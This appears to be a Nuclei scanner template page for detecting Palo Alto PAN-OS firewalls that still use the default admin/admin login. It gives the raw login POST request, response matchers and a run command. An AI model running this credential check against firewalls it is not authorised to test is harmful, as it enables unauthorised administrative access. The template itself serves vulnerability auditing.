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Palo Alto Networks PAN-OS Default Login

ID: panos-default-login

Severity: high

Author: Techryptic (@Tech)

Tags: panos,default-login

Palo Alto Networks PAN-OS application default admin credentials were discovered.

id: panos-default-login
info:
name: Palo Alto Networks PAN-OS Default Login
author: Techryptic (@Tech)
severity: high
description: Palo Alto Networks PAN-OS application default admin credentials were discovered.
reference:
- https://docs.paloaltonetworks.com/pan-os/8-1/pan-os-admin/getting-started/integrate-the-firewall-into-your-management-network/perform-initial-configuration.html#:~:text=By%20default%2C%20the%20firewall%20has,with%20other%20firewall%20configuration%20tasks.
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
cvss-score: 8.3
cwe-id: CWE-522
metadata:
max-request: 1
tags: panos,default-login
http:
- raw:
- |
POST /php/login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
user={{username}}&passwd={{password}}&challengePwd=&ok=Login
attack: pitchfork
payloads:
username:
- admin
password:
- admin
matchers-condition: and
matchers:
- type: word
part: header
words:
- "Set-Cookie: PHPSESSID"
- type: word
words:
- "Warning: Your device is still configured with the default admin"
- type: status
status:
- 200
# digest: 4b0a00483046022100e13f2a9cef9910c53cbf45eff17d18fc72cffdd622c9ad73e5cce95cdb44a659022100c1436fc80a1df6fd1b542dc07f82027659baad3dcd5220a8449dbc1576b132a4:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/default-logins/paloalto/panos-default-login.yaml"

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